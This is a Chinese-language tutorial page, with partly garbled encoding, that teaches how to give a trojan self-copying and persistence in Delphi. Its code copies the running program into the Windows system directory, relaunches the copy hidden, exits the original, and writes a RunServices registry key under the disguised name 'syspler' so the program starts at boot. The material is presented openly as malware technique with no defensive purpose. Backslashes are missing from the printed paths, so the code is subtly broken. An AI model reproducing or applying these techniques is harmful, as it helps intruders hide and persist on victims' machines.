Delphi實現(xiàn)木馬自我拷貝方法
木馬實現(xiàn)自我拷貝的原理是程序運(yùn)行時先查看自己是不是在特定目錄下,如果是就繼續(xù)運(yùn)行,如果不是就把自己拷貝到特定目錄下,然后運(yùn)行新程序,繼而退出舊程序.
本例即以Delphi實現(xiàn)木馬的自我拷貝。
首先打開Delphi,新建一個工程,在窗口的Create事件中寫入如下代碼:
procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行WindowsSystem下的新文件
application.Terminate;//退出
end;
end;
其中GetWinDir是自定義函數(shù),起功能是找出WindowsSystem的路徑.
function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]<>'' then Result := Result + ''; end;
如何能使程序能在windows啟動時自動啟動?
為了程序能在Windows每次啟動時自動運(yùn)行,可以通過以下途徑來實現(xiàn).“冰河”用注冊表的方式。
加入Registry單元,改寫上面的窗口Create事件,改寫后的程序如下:
procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //獲得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//將自己拷貝到Windows/System32下}
Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行WindowsSystem下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;
相關(guān)文章
Delphi實現(xiàn)獲取進(jìn)程列表及相關(guān)信息的實例
這篇文章主要介紹了Delphi實現(xiàn)獲取進(jìn)程列表及相關(guān)信息的實例,希望通過本文大家能實現(xiàn)這樣的功能,需要的朋友可以參考下2017-09-09
delphi中exit,abort,break,continue的區(qū)別介紹
本文詳細(xì)介紹下delphi中表示跳出的有break,continue, exit,abort, halt, runerror的區(qū)別,感興趣的朋友可以參考下哈,希望對你學(xué)習(xí)跳出有所幫助2013-04-04

